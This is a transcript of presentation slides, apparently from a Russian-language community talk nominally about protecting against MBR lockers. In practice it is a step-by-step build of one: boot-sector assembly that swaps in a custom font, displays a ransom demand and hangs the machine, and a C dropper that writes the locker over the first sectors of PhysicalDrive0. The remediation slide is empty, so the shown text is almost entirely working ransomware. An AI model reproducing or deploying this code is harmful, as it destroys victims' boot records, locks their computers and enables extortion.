kranonit S04E01 Антон: Защита от Master Boot Record Locker
-
Upload
krivoy-rog-it-community -
Category
Documents
-
view
138 -
download
0
description
Transcript of kranonit S04E01 Антон: Защита от Master Boot Record Locker
Winlock-закат
MBR lock- рассвет
Этапы загрузки
Локер Windows1. post2. bios3. 1st boot sector4. os kernel5. gui shell-some 6. locker exe file
MBR Локер1. post2. bios3. 1st boot sector
Почему ассемблер?● Первый загрузочный сектор всего 512 байт● Низший уровень● Самый маленький размер кода
Из чего состоит mbrlocker
1. Дроппер (dropper)2. Загрузочный сектор
Дропер устанавливает загрузочные сектор
Пишем загрузочный секторПроцесору работает в реальном режиме (16 битный код)[BITS 16][ORG 0x7C00]
Необходимо настроить все сегменты, потому что мы не знаем содержания регистров:mov ax, cs cli mov ss, axmov es, axmov ds, axmov sp, entry sti
Запрещаем прерывания командой cli что бы ничего не мешало
Модель памяти TINY
Для работы с экраном используются только прерывания BIOS
mov ax,03int 0x10
0x10 прерывание биос 3 ф-я очистить дисплэй
Делаем свой кирилический шрифт для знакогенератора. Для матрицы 8х16 буква "Я" такая:
Вымогаем деньги на русском
Каждый ряд переводим из двоичной системы в шестнадцатеричную00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
Стоит уже подумать о высоком уровне!Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт.Дропером запишем его в другие секторы 2 и 3.
Из загрузичка читаем файл из 2 и 3 сектора:
mov ah,0x02mov al,0x02mov bx,0x1000mov cx,0x0002int 0x13
ф-я 2 прерывание 13 читать секторычисло секторов = 2 (2 и 3)
Подменяем английский шрифт на свой
в bx адрес таблицыв cx с какого сектора начинаем читать.
mov ah,0x11 ; ф-я 11 - загрузка пользовательского шрифтаxor al,al ; под ф-я 0mov bp,bx ; в bp адрес таблицыmov cx,64 ; в cx кол-во символовmov dx,192 ; в dx код начала символовint 0x10 ; прерывание
Работаем с экраном; Пишем текст зелёным цветомmov ah,0x13xor al,almov bx,00001010bxor dx,dxmov cx,msgend-msgcall msgendmsg db 'Дайте мне очень много денег'
msgend:pop bp int 0x10; Зависаем в циклеjmp $TIMES 510-($-$$) db 0dw 0xAA55
DropperКопируем HEX код:
1. Сектор MBR в массив mbr[512]2. Два сектора шрифта в массивы font1[512] и font2[512]
Записываем их в первые три сектора
HANDLE hout; // Хендл файла на три сектораhout = CreateFile(TEXT("\\\\.\\PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);WriteFile(hout, mbr, sizeof(mbr), nw, NULL);SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN);WriteFile(hout, font1, sizeof(font1), nw, NULL);SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN);WriteFile(hout, font2, sizeof(font2), nw, NULL);CloseHandle(hout); // Не забываем чистить за собой
Результат работы
Устранение